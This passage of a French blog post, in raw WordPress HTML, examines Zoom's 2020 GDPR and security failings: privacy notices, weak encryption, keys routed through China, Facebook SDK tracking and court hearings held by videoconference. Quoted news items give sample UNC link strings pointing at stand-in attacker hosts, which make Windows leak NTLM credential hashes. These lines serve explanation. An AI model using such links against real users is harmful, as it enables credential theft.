-->\n<ul><li><em>l\'identité et les\ncoordonnées du responsable du traitement et, le cas échéant, du représentant du\nresponsable du traitement;</em></li><li><em>les coordonnées du délégué à\nla protection des données, le cas échéant;</em></li><li><em>les finalités du traitement\nauquel les données personnelles sont destinées ainsi que la base juridique du\ntraitement;</em></li><li><em>lorsque le traitement est\nbasé sur <strong>l\'art. 6, paragraphe 1, point f [_</strong></em><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong><em>RGPD06</em></strong></a><strong><em>_] </em></strong><em>les intérêts légitimes\npoursuivis par le responsable du traitement ou par un tiers;</em></li><li><em>les destinataires ou\ncatégories de destinataires des données personnelles, le cas échéant;</em></li><li><em>le cas échéant, le fait que\nle responsable du traitement a l\'intention de transférer des données à caractère\npersonnel vers un pays tiers ou une organisation internationale et l\'existence\nou l\'absence d\'une décision d\'adéquation de la Commission, ou dans le cas de\ntransferts visés aux <strong>art. 46 </strong>[_</em><a href=\"https://awallon.com:15001/d/s/546474562060073206/wCc5NNfuVGtZCEDxxz6BStB9yee9JWnD-pb5gNUiulgc_\"><em>RGPD46</em></a><em>_] ou <strong>47 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474565138692367/ai8ZRfn61YIW-lWc0mQFwXg7c-vpOcqi-574A812ulgc_\"><em>RGPD47</em></a></strong><strong><em>_]</em></strong><em> ou <strong>49 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474569236527405/d3Ss3HULlIGAgfmZOgnP6CNOPXpnNIGb-UL-gP4Wulgc_\"><em>RGPD49</em></a></strong><strong><em>_]</em></strong><em> paragraphe 1, deuxième\nalinéa, référence aux garanties appropriées ou appropriées et aux moyens\npermettant d\'en obtenir une copie ou lorsque celles-ci ont été mises à\ndisposition.</em></li><li>Les droits des participants en vertu des <strong>art. 14 [_</strong><a href=\"https://awallon.com:15001/d/s/546474033709888180/NZ1hg0XLRX1r_mANS3X08rd_LhFLNvCT-yLIgdT6qlgc_\"><strong>RGPD14</strong></a><strong>_]</strong> , <strong>art 15</strong> <strong>[_</strong><a href=\"https://awallon.com:15001/d/s/546474036744467150/dpQYWhIjP2q8K4dCb7E2HguyWsMe9rH5-H7NAm1Oqlgc_\"><strong>RGPD15</strong></a><strong>_]</strong> et notamment leur droit de\nrectification ou rétractation du consentement, leur droit de porter plainte\ndevant l’autorité administrative doivent également leur être rappelés </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>En\nsus des informations visées au paragraphe 1, le responsable du traitement fournit,\nau moment de l\'obtention des données à caractère personnel, aux participants,\nles informations supplémentaires suivantes nécessaires pour garantir un\ntraitement équitable et transparent :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>la période pendant laquelle les données personnelles seront stockées ou, si\ncela n\'est pas possible, les critères utilisés pour déterminer cette période;<ul><li>l\'existence du droit de\ndemander au responsable du traitement l\'accès et la rectification ou\nl\'effacement des données personnelles ou la limitation du traitement concernant\nla personne concernée ou de s\'opposer au traitement ainsi que le droit à la\nportabilité des données;</li></ul><ul><li>lorsque le traitement est\nbasé sur <strong>l\'art. 6</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\">RGPD06</a></strong><strong>_]</strong> paragraphe 1, point a), ou sur <strong>l\'art.\n9</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a></strong><strong>_]</strong> paragraphe 2, point a), l\'existence\ndu droit de retirer le consentement à tout moment, sans affecter la licéité du\ntraitement basé sur le consentement avant son retrait;</li></ul><ul><li>le droit de déposer une\nplainte auprès d\'une autorité de contrôle;</li></ul><ul><li>si la fourniture de données\nà caractère personnel est une exigence légale ou contractuelle, ou une exigence\nnécessaire pour conclure un contrat, ainsi que si la personne concernée est\ntenue de fournir les données à caractère personnel et les conséquences\npossibles de la non-fourniture de ces données;</li></ul><ul><li>l\'existence d\'une prise de\ndécision automatisée, y compris le profilage, visée à <strong>l\'art. 22</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546474473260365314/Hwg6NIl6VN1xY3w84zHV2sUe1MlmQPAP-gbVgu-Kqlgc_\">RGPD22</a></strong><strong>_]</strong> paragraphes 1 et 4, et, au moins\ndans ces cas, des informations significatives sur la logique impliquée, ainsi\nque la signification et les conséquences envisagées d\'une telle le traitement\nde la personne concernée.</li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Lorsque le responsable du\ntraitement a l\'intention de poursuivre le traitement des données à caractère\npersonnel à une fin autre que celle pour laquelle ces données ont été\ncollectées, le responsable du traitement fournit à la personne concernée, avant\nce traitement ultérieur, des informations sur cette autre fin et toute autre\ninformation pertinente visée au paragraphe 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les paragraphes 1, 2 et 3 ne\ns\'appliquent pas lorsque et dans la mesure où la personne concernée dispose\ndéjà des informations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avis de confidentialité\ndoit être remis au moment de la collecte des données, c\'est-à-dire avant l\'heure\nà laquelle les invités entrent en réunion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les périodes de conservation\ndes données doivent être clarifiées et communiquées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L\'exigence de limitation de\nla finalité signifie qu\'il doit être clair sur l\'avis de confidentialité qui\naccède aux données, dans quel but spécifique. Le partage de données avec\nFacebook était contraire au RGPD. Même si le développeur Zoom a modifié cela,\nles utilisateurs doivent mettre à jour leur application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ces données ne doivent pas\nêtre utilisées à d\'autres fins que celles prévus telles que la formation à la\nreconnaissance faciale sans le consentement des intéressés. Le host est\nresponsable du respect de ces principes et notamment des traitements ultérieurs\npar Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le privacy policy de Zoom a\nsoulevé des craintes justifiées&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://zoom.us/privacy\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom\'s privacy policy&nbsp;</a> claims the right to collect and store personal data\nand share it with third parties such as advertisers.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Jusqu’à ce qu’il soit modifié durant le week-end, pré-daté\nau 18 mars </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The company&nbsp;</em><em><a href=\"https://zoom.us/privacy?zcid=1231\" target=\"_blank\" rel=\"noreferrer noopener\">updated its privacy policy</a>&nbsp;on Sunday after users reported\nconcerns, and&nbsp;<a href=\"https://twitter.com/ericsyuan/status/1244682869974290433\" target=\"_blank\" rel=\"noreferrer noopener\">on Monday</a>, Eric S. Yuan, chief executive and founder of Zoom, posted a\nlink on Twitter to a company blog item about the policy. <a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NYTimes</a></em></li><li><em>In\na statement for this article, the company said it took “its users’ privacy,\nsecurity and trust extremely seriously,” and had been “working around the clock\nto ensure that hospitals, universities, schools and other businesses across the\nworld can stay connected and operational.”</em><em></em></li><li><em>“We\nappreciate the New York attorney general’s engagement on these issues and are\nhappy to provide her with the requested information,” the statement added.</em></li><li><em>Zoom <strong>privacy\nnotice</strong> grants access to data even though for people who have not a Zoom\naccount</em></li><li><em>Zoom’s privacy policy gives the company rights to collect\npersonal data of people regardless of whether they have a Zoom account. This\ndata they might collect on non-Zoom customers might include their physical\naddress, debit card information and even what device they are using.</em><em></em></li><li><em>They keep the\nright to collect and share information with unspecified third parties in\npresent and in the future.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy by design ou Privacy Enhanced Technology (PET)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\nZoom comporte bien quelques garde-fous de protection mais ils sont désactivés\npar défaut. Aucun traitement ne doit pouvoir être opéré sans transparence ni consentement\nexprimé par acte positif des sujets concernés. En l’occurrence il n’est pas très\nclair quand un enregistrement est effectué ni ses utilisations ultérieures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\ncomportait une option de traçage d’attention ou <em>’attention tracking’</em> qui\npermettait au host de tracer l’attention des participants s’ils venaient à\nvisiter d’autres sites ou basculaient sur d’autres fenêtres. Cette option trop\nintrusive a été désactivée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Encore\nune fois, une notice de privacy devrait éclairer le consentement requis de la\npart des participants. Il n’est pas activé par défaut sachant que les données biométriques,\nde santé ou relatives à des mineurs sont des catégories spéciales nécessitant\nun consentement explicite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>A small <strong>red\nbutton when recording</strong> - can be easily missed. There is an option of request\nrecording consent at the beginning – what about the ones joining in in the\ncourse of the meeting? The consent request is OFF by default. <strong>Privacy by\ndesign</strong>: should be ON by default</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de sécurité</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Limiter\nl’accès aux données pour sécuriser le contenu et primordial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Absence de chiffrage ou encryptage</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nchiffrage des communications ou encryptage faisait partie des promesses de Zoom\nmais s’est avéré limité un chiffrage de type browser TLS et non pas UDP comme\nl’a révélé le <a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a><em>.</em> Zoom s’en est excusé et a reconnu\nle manquement. Or, un encryptage end to end est obligatoire pour s’assurer\nde la protection des données d’autant qu’ils peuvent être de catégorie spéciale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, il s’avère\nque les données seraient stockées sur Amazon S3 en texte clair et ne seraient pas\nmême chiffrées. Par conséquent, tout employé ou développeur de Zoom ayant accès\naux compartiments S3 pour les activités de développement et de maintenance\npourrait les intercepter et se les accaparer pour tels traitements éventuels.\nIl n’y a donc aucune véritable confidentialité sur ces enregistrements. Ce problème\nest loin d’être négligeable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La seule barrière entre l’enregistrement privé et public\nest la sécurité du pare-feu Zoom et des autres éléments qu\'ils ont mis en\nplace. Une fois que ceux-ci ont été violés, par exemple par une attaque de\nphishing, les seaux S3 sont un jeu équitable. Un système de cryptage décent sur les\nenregistrements stockés aurait été indispensable ici.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>a Zoom spokesperson wrote, “Currently, it is not possible to enable E2E encryption for Zoom video meetings. Zoom video meetings use a combination of TCP and UDP. TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection.”</em></li><li><em>On 4/3, Citizen Lab&nbsp;<a href=\"https://citizenlab.ca/2020/04/move-fast-roll-your-own-crypto-a-quick-look-at-the-confidentiality-of-zoom-meetings/\">reported</a></em></li><li><em>Zoom&nbsp;<a href=\"https://zoom.us/docs/doc/Zoom-Security-White-Paper.pdf\">documentation</a>&nbsp;claims that the app uses \"AES-256\" encryption for meetings where possible. However, we find that in each Zoom meeting, a single AES-128 key is used in ECB mode by all participants to encrypt and decrypt audio and video. The use of ECB mode is not recommended because patterns present in the plaintext are preserved during encryption.</em></li><li><em>The AES-128 keys, which we verified are sufficient to decrypt Zoom packets intercepted in Internet traffic, appear to be generated by Zoom servers, and in some cases, are delivered to participants in a Zoom meeting through servers in China, even when all meeting participants, and the Zoom subscriber\'s company, are outside of China. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">Reported by the Security expert Schneier in his blog</a> </em></li><li><em><a href=\"https://blog.cryptographyengineering.com/2020/04/03/does-zoom-use-end-to-end-encryption/\">Does Zoom uses end to end encryption?</a> </em></li><li><em>Warning: Zoom Makes Encryption Keys In China (Sometimes)</em></li><li><em>Where is the EU DPA investigation? Once again, Eu personal data is in between China interception and the US Cloud Act interception. Data sent outside the EU in China without users knowledge. \"As <a href=\"https://medium.com/hashtag-resist/using-zoom-for-activism-think-about-security-1c4f2903275a\">Citizen Lab</a> hadn’t sent its findings to Zoom, saying it was in the public interest to release the information as soon as possible, the videoconferencing company wouldn’t have been aware of the findings. But Yuan assured that if user data was being transferred to China when users weren’t even based there, “we are willing to address that.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On apprend ainsi\nmême que Zoom transfèrerait des données pour encryptage en Chine, ce que le CEO\nn’a pas manqué de reconnaitre, accidentellement a-t-il dit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://theintercept.com/2020/04/03/zooms-encryption-is-not-suited-for-secrets-and-has-surprising-links-to-china-researchers-discover/\">Zoom’s Encryption Is “Not Suited For Secrets” And Has\nSurprising Links To China, Researchers Discover</a><strong> </strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les déboires ne s’arrêtent pas là, 1er Avril une nouvelle est tombée, Zoom\ns’emparerait des passwords sauvegardés par Windows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On\n4/1, we learned that Zoom for Windows can be used to&nbsp;</em><em><a href=\"https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/\">steal</a>&nbsp;users\'\nWindow credentials.</em></li><li><em>Attacks\nwork by using the Zoom chat window to send targets a string of text that\nrepresents the network location on the Windows device they\'re using. The Zoom\napp for Windows automatically converts these so-called&nbsp;</em><em><a href=\"https://www.lifewire.com/unc-universal-naming-convention-818230\">universal naming convention</a>&nbsp;strings -- such as \\\\attacker.example.com/C$ --\ninto clickable links. In the event that targets click on those links on\nnetworks that aren\'t fully locked down, Zoom will send the Windows usernames and\nthe corresponding&nbsp;<a href=\"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-minimum-session-security-for-ntlm-ssp-based-including-secure-rpc-servers\">NTLM</a>&nbsp;hashes\nto the address contained in the link</em>.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le\n2 avril on apprenait que Zoom accèderait à des données personnelles extraites\ndes profiles Linkedin des utilisateurs :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/2, we learned that Zoom&nbsp;</em><em><a href=\"https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html\">secretly displayed</a>&nbsp;data from people\'s LinkedIn\nprofiles, which allowed some meeting participants to snoop on each other. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">(Zoom has fixed this one.)</a></em></li><li><em><a href=\"https://tidbits.com/2020/04/03/every-zoom-security-and-privacy-flaw-so-far-and-what-you-can-do-to-protect-yourself/\">Every Zoom Security and Privacy Flaw So Far, and What\nYou Can Do to Protect Yourself</a> </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Très vite ont surgi les nouvelles d’intrus s’invitant au milieu des\nmeetings, intrusion qualifiée de ‘ZoomBombing’&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://mashable.com/article/videoconference-crashed-naked-man-privacy/?europe=true\">Naked\nman crashing school\'s video call is a privacy lesson for all</a></em></li><li><em><a href=\"/www.insidehighered.com/news/2020/03/26/zoombombers-disrupt-online-classes-racist-pornographic-content#.Xn26Zv4up1Y.linkedin\">Online Zoom classes were disrupted by individuals\nspewing racist, misogynistic or vulgar content. Experts say professors using\nZoom should familiarize themselves with the program\'s settings.</a></em></li><li><em><a href=\"https://techcrunch.com/2020/03/17/zoombombing/\">Suddenly, dozens of attendees were bombarded with disturbing imagery. A\ntroll entered the call and screenshared Two Girls, One Cup and other horrifying\nsexual videos. Attempts to block the attack were thwarted as the perpetrator\nsimply re-entered the call</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Autre problème éventuellement solutionné par Zoom,\nl’envoi de données à Facebook par utilisation de SDK dénoncé par <a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">Motherboard</a> :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Last week, after an&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\" target=\"_blank\" rel=\"noreferrer noopener\">article on the\nnews site Motherboard</a>&nbsp;reported\nthat software inside the Zoom iPhone app was sending user data to Facebook, the\ncompany said it was&nbsp;<a href=\"https://www.vice.com/en_us/article/z3b745/zoom-removes-code-that-sends-data-to-facebook\" target=\"_blank\" rel=\"noreferrer noopener\">removing the\ntracking software</a>.</em></li><li><em>Zoom, like other apps, uses <strong>Facebook\'</strong>s software development\nkits (SDK) to implement features quickly. In exchange, Facebook gains useful\ninformation about users. As Vice\'s Motherboard explains, Zoom connects to\nFacebook\'s Graph API, which is the way developers get data in or out of\nFacebook.</em><em></em></li><li><em>The Zoom app notifies Facebook when the user opens the app,\ndetails on the user\'s device such as the model, the time zone and city they are\nconnecting from, which phone carrier they are using, and a unique advertiser\nidentifier created by the user\'s device which companies can use to target a\nuser with advertisements.</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom a bien modifié cette faille invitant les utilisateurs de mettre à jour\nleur Application&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"/winbuzzer.com/2020/03/31/zoom-removes-its-facebook-data-sharing-on-ios-amid-possible-gdpr-violations-xcxwbn\">Zoom Removes Its Facebook Data Sharing on iOS amid\nPossible GDPR Violations</a></em></li><li><em>Zoom has removed its <strong>Facebook SDK</strong> for iOS integration\nafter a report&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">from Motherboard</a>.</em></li><li><em>the developers</em><em><a href=\"https://blog.zoom.us/wordpress/2020/03/27/zoom-use-of-facebook-sdk-in-ios-client/\">&nbsp;in a statement</a>.&nbsp;“Users will need to update to the\nlatest version of our application that’s already available at 2:30 p.m. Pacific\ntime on Friday, March 27, 2020, in order for these changes to take hold, and we\nstrongly encourage them to do so. “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le <a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">Electronic Frountier Foundation</a> alerte de ce que les utilisateurs ignorent\ntoujours comment effacer les informations recueillies</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Zoom has not offered guidance on how users can delete any\ninformation that was gathered about their device. This removal also doesn’t\naddress any of the app’s other potential privacy issues.&nbsp;</em><em><a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">The EFF points out</a>&nbsp;that Zoom administrators can get\ndetailed information about how, when, and where users are using the app, with\nreal-time dashboards. As it’s an intentional feature, it’s unlikely the\ncompanywill address this.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On lit dans le magazine <a href=\"https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/\">Forbes :</a> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>‘<em>Ultimately,\nanyone having sensitive conversations should therefore consider whether Zoom is\nsuitable, he noted. “I would think very carefully before I used Zoom to\ncommunicate classified information, trade secrets or confidential medical\ndata,” Marczak said. “If you are a human rights defender, lawyer, journalist,\nor anyone else working on sensitive topics that you think a nation-state or\nother powerful adversary might be interested in, I would advise you to wait for\nZoom to make security improvements in their app before you use it.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Apple a introduit\nune mise à jour afin d’éliminer le ‘<em>hidden Zoom web server’</em>&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://bgr.com/2020/04/04/zoom-security-private-video-chats-online/\">Thousands\nof Zoom video calls left exposed on open Web</a></em></li><li><em><a href=\"/techcrunch.com/2019/07/10/apple-silent-update-zoom-app\">Apple has pushed a silent Mac\nupdate to remove hidden Zoom web server</a></em></li><li><em>It appears you can&nbsp;</em><em><a href=\"https://www.bleepingcomputer.com/news/security/zoom-client-leaks-windows-login-credentials-to-attackers/\" target=\"_blank\" rel=\"noreferrer noopener\">snaffle</a>&nbsp;people\'s Windows local login\nusernames and hashed passwords via Zoom by getting them to click on a URL in a\nchat message that connects to a malicious SMB file server. A link such as&nbsp;</em><code><em>\\\\evil.server.com\\foorbar.jpg</em></code><em>&nbsp;will, when clicked\non, cause Windows to connect to&nbsp;</em><code><em>evil.server.com</em></code><em>, supplying the logged-in\nuser\'s credentials in hope of fetching&nbsp;</em><code><em>foobar.jpg</em></code><em>.</em><em></em></li><li><em>Ex-NSA hacker\ndrops new zero-day doom for Zoom. Hot on the heels of two security researchers&nbsp;<a href=\"https://twitter.com/hackerfantastic/status/1245133371262619654\">finding a Zoom bug</a>&nbsp;that can be abused to steal\nWindows passwords, another security researcher found two new bugs that can be\nused to take over a Zoom user’s Mac, including tapping into the webcam and\nmicrophone.</em></li><li><em>Patrick Wardle, a former NSA hacker and now principle\nsecurity researcher at Jamf, dropped the two previously undisclosed flaws&nbsp;</em><em><a href=\"https://objective-see.com/blog/blog_0x56.html\">on his blog</a>&nbsp;Wednesday, which he shared <a href=\"https://techcrunch.com/2020/04/01/zoom-doom/\">with TechCrunch</a>. </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Bien évidemment\navec le succès galopant de Zoom, on constate une recrue de ‘<em>fake Zooms’</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">Researchers\nsee sharp rise in fake Zoom domains as hackers target remote workers</a> </em><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Transfert de données personnelles\nhors EU/EEA</strong><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom\nest une société basée en Californie. A ce titre il est self certifié Privacy\nShield.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cependant\n<a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a> a révélé le transfert des données\nvers la Chine. Le CEO a reconnu ce fait l’attribuant à une simple erreur d’aiguillage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or,\nnul ne peut ignorer la guerre de l’espionnage industriel. Zoom, comme toute société\naméricaine est sujette au US Cloud Act. Autrement dit à tout moment les données\npeuvent être réclamées par le gouvernement US.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.foxnews.com/tech/coronavirus-crisis-zooms-presence-china-under-scrutiny\" target=\"_blank\" rel=\"noreferrer noopener\">As Usage Booms Amid Coronavirus\nCrisis, Zoom’s R&amp;D Presence In China Under Scrutiny</a> </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Data breach ou accès non autorisé aux données</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout accès non autorisé aux données personnelles doit être évalué quant au sérieux\ndes conséquences potentielles pour les individus concernés. En cas de risque\ngrave, ils doivent être notifiés au plus vite et pas plus tard que <strong>dans les\n72 heures</strong>. L’autorité de protection des données doit être notifié au plus\ntard dans les 72 heures. Dans tous les cas le data breach doit être repertorié\nau registre interne conformément aux dispositions de <strong>l’art. 33 [_</strong><a href=\"https://awallon.com:15001/d/s/546474503562114839/2vQoztRp5iZOj061hTrsbdijXm14s8fR-sruARj6tlgc_\"><strong>RGPD33</strong></a><strong>_]</strong>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Posting <strong>screen shots</strong> de visio-conférence révélant le ID number du meeting et les images des participants accompagnées de leur noms ou pseudonymes peut être considérées comme une rupture de confidentialité,</li><li><strong>2 exemples</strong> majeurs récents&nbsp;: <a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Boris Johnson</a> le CNB postant une réunion du conseil ou leur AG.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Le cas particulier de l’usage d’un tel outil par\ndes avocats ou ordre professionnel</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans un contexte ou tant de cris d’alarmes ont été lancés à propos des manquements de cet outil, comme le New York Attorney General investigations demandant aux écoles de ne pas utiliser l’application, suivi par d’autres autorités étatiques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NY\nAttorney General to look at Zoom </a>&nbsp;:</em></li><li><em><a href=\"https://www.politico.com/news/2020/04/03/multiple-state-ags-looking-into-zooms-privacy-practices-162743\">Multiple\nstate AGs looking into Zoom’s privacy practices</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Utilisation de\nvidéo-conférences pour des tenues d’audience&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le 3 avril, Maitre Aymeric Duhesne du Cabinet Montesquieu a annoncée sur\nLinkedin&nbsp;: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;Avec Le Bâtonnier Stephane Dhonte,\nle greffe du Tribunal de Commerce de Lille Métropole et le juge des référés,\nnous venons de finaliser le test de la 1ère audience en visioconférence comme\nle permet l’ordonnance 2020-304 du 25.03.20. Le Barreau de Lille et ses avocats\nsont force de proposition et de solution immédiatement opérationnelle et\nmarquent ainsi leur détermination à permettre la continuité de l’accès au droit\naux justiciables, particuliers et entreprises, malgré la crise sanitaire. Des\ndossiers pourront à nouveau être entendus dès la semaine prochaine et des\ndécisions rendues.”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Parallèlement, Stephen\nAlmaseanu, Vice procureur au Parquet de Paris, Section F2 (adjoint du chef de\nla section, chargé des affaires commerciales) announcait sur Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Le Tribunal de commerce de Paris vient de\ntenir, mercredi 1et et jeudi 2 avril 2020, deux journées d’audiences dématérialisées\nqui se sont très bien déroulées. Plus de 40 dossiers urgents, notamment en\nraison de la présence de salariés impayés, ont été traités par visioconférence\nen utilisant </em><a href=\"https://www.linkedin.com/company/tixeo/\"><strong><em>TIXEO</em></strong></a><em>, logiciel\nfrançais assurant une totale confidentialité des débats grâce à des liaisons\nentièrement chiffrées, ce qui lui permet d’être certifié par l’</em><a href=\"https://www.linkedin.com/company/anssi-fr/\"><strong><em>ANSSI - Agence nationale de la sécurité des systèmes\nd\'information</em></strong></a><em>. Il s’agissait d’ouvertures de liquidations\net de conversions en liquidation, mais également d’ouvertures de redressements\njudiciaires (rappelons d’ailleurs ici que depuis le début du confinement de\nnombreux mandats ad hoc et conciliations ont également été ouverts). Bravo\nnotamment au greffe du Tribunal, qui a organisé ces audiences très lourdes à\nmettre en place en prévenant tous les intervenants (dirigeants, conseils, AJMJ,\nreprésentants des salariés) de l’heure exacte du passage de leur dossier pour\nque chacun puisse se connecter au bon moment). Bravo également aux juges et à\ntous les intervenants qui ont permis la tenue de ces premières audiences très\nutiles, qui permettent aux entreprises parisiennes de continuer à avoir accès\nau tribunal en cas d’urgence.</em>”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maitre Emmanuel Brunau du Mans annonçait hier\ntoujours sur Linkedin :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Pour information, le greffe du tribunal\nde commerce du Mans fonctionne normalement malgré la fermeture de la Cité\njudiciaire. Une permanence téléphonique est maintenue aux horaires habituels.\nEnfin pour faire face à l\'urgence, des audiences d\'ouverture de procédures collectives\nen visioconférence sécurisée TIXEO se tiennent tous les mardi pendant le\nconfinement.”</em><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Là où les\ninitiatives tombent au compte-gouttes en France, du côté anglo-saxon une\ninitiative concertée a émergé :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a 